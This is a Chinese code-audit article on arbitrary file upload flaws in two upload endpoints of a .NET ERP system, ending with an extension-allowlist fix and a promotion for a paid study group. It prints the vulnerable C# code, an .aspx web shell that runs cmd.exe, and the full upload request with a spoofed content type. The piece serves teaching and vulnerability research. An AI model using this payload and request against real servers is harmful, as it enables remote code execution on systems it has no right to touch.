文件上传功能是 Web 应用中非常重要且敏感的部分,如果缺乏完善的安全控制,极易成为攻击者利用的突破口。本文通过对 .NET 某 ERP 系统的两个文件上传功能进行代码审计与漏洞分析,揭示了潜在的任意文件上传风险及其危害。
在渗透测试中,通过分析提供的代码,可以看到系统中存在两个文件上传接口:Upload***File 和 Upload***PlanFile。这两个方法分别负责上传文件到 In***Files 和 In***PlanFile 目录下。
1.1 Upload***File 方法
public UploadResult Upload***File()
{
UploadResult uploadResult = new UploadResult();
try
{
HttpPostedFile httpPostedFile = HttpContext.Current.Request.Files[0];
string str = HostingEnvironment.MapPath("~/");
string text = str + "\In***Files\";
if (!Directory.Exists(text))
{
Directory.CreateDirectory(text);
}
uploadResult.filename = httpPostedFile.FileName;
uploadResult.guid = Guid.NewGuid().ToString();
uploadResult.extension = Path.GetExtension(httpPostedFile.FileName);
uploadResult.title = Path.GetFileNameWithoutExtension(httpPostedFile.FileName);
uploadResult.filepath = "\InFiles\" + uploadResult.guid + uploadResult.extension;
httpPostedFile.SaveAs(text + uploadResult.guid + uploadResult.extension);
}
return uploadResult;
}
1.2 Upload***PlanFile 方法
public UploadResult Upload***PlanFile()
{
UploadResult uploadResult = new UploadResult();
try
{
HttpPostedFile httpPostedFile = HttpContext.Current.Request.Files[0];
string str = HostingEnvironment.MapPath("~/");
string text = str + "\In***PlanFile\";
if (!Directory.Exists(text))
{
Directory.CreateDirectory(text);
}
uploadResult.filename = httpPostedFile.FileName;
uploadResult.guid = Guid.NewGuid().ToString();
uploadResult.extension = Path.GetExtension(httpPostedFile.FileName);
uploadResult.title = Path.GetFileNameWithoutExtension(httpPostedFile.FileName);
uploadResult.filepath = "\In***PlanFile\" + uploadResult.guid + uploadResult.extension;
httpPostedFile.SaveAs(text + uploadResult.guid + uploadResult.extension);
}
return uploadResult;
}
在渗透测试中,攻击者可以上传如下 .aspx 文件,上传成功后,攻击者通过访问文件路径触发脚本,执行恶意命令。
<%@ Page Language="C#" %>
<% System.Diagnostics.Process.Start("cmd.exe", "/c whoami > C:\whoami.txt"); %>
随后,利用 Burp 发送 HTTP POST 文件请求,服务端返回文件上传结果,包括文件路径、文件名、扩展名等信息,具体如下所示。
POST /api/cgI**/Upload***File HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=-----------------1111
Content-Length: 178
-------------------1111
Content-Disposition: form-data; name="filedata"; filename="1.aspx"
Content-Type: image/png
<%@ Page Language="C#" %>
<% System.Diagnostics.Process.Start("cmd.exe", "/c whoami > C:\whoami.txt"); %>
-------------------1111--
上传成功后,访问 http://target.com/In***Files/{guid}.aspx 即可触发恶意脚本,如下图所示。
修复建议
string[] allowedExtensions = { ".jpg", ".jpeg", ".png", ".pdf" };
if (!allowedExtensions.Contains(uploadResult.extension.ToLower()))
{
throw new Exception("文件类型不受支持");
}
小结
专属福利
1. 学习模式: 代码审计知识星球在线录播视频 +后续漏洞挖掘直播、内部专属交流社区答疑解惑;
2. 优享福利:加入.NET代码审计星球后赠送永久dot.Net安全基础入门星球。
欢迎对.NET代码审计关注和关心的同学加入我们 [dot.Net安全代码审计] ,目前已有近 100+ 位朋友抢先预定。
星球门票后期价格随着内容和质量的不断沉淀会适当提高,越早加入越划算! 现在加入星球可享受星球早鸟价,并可领取100元优惠券,期待在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事,可扫描下方老师二维码了解更多详情。
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...